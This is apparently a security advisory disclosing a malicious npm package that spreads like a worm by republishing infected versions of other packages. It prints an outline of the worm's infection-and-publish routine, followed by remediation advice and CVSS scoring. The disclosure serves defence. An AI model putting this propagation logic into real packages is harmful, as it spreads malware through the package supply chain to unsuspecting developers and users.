Malicious Package

Affecting sdfjghlkfjdshlkjdhsfg package, ALL versions

Do your applications use this vulnerable package? Test your applications

Overview

sdfjghlkfjdshlkjdhsfg is a malicious package that infects the installing npm package, infecting them with malicious code and republishing them with it, worming its way into other npm packages.

This is especially dangerous in production runtime environments, where environment variables tend to consist of keys, passwords, tokens and other secrets.

PoC:

function infectModule (moduleName) {
        installModule(moduleName)
        .then(() => {
                addScript(moduleName);
                copyScript(moduleName);

                return incrementPatchVersion(moduleName);
        })
        .then(() => publishInfectedModule(moduleName))
        .catch(() => {});
}

const MODULE_NAME = "sdfjghlkfjdshlkjdhsfg";

infectModule(MODULE_NAME);

Remediation

Avoid usage of this package altogether.

References

CVSS Score

8.8
high severity
  • Attack Vector
    Network
  • Attack Complexity
    Low
  • Privileges Required
    None
  • User Interaction
    Required
  • Scope
    Unchanged
  • Confidentiality
    High
  • Integrity
    High
  • Availability
    High
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:F/RL:U/RC:C
Credit
Jordan Wright
CWE
CWE-506
Snyk ID
npm:sdfjghlkfjdshlkjdhsfg:20170917
Disclosed
08 Aug, 2017
Published
17 Sep, 2017